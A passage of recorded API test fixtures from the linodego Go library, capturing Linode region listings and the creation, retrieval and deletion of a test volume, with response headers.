1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:01:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-vol-test-def","region":"ap-west","tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes method: POST response: body: '{"id": 4979067, "status": "creating", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": "nvme"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "318" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:01:02 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "100" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes/4979067 method: GET response: body: '{"id": 4979067, "status": "creating", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": "nvme"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "318" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:01:02 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes/4979067 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:01:07 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestVolume_Get_withEncryption.yaml000066400000000000000000000752711474652371000335000ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", 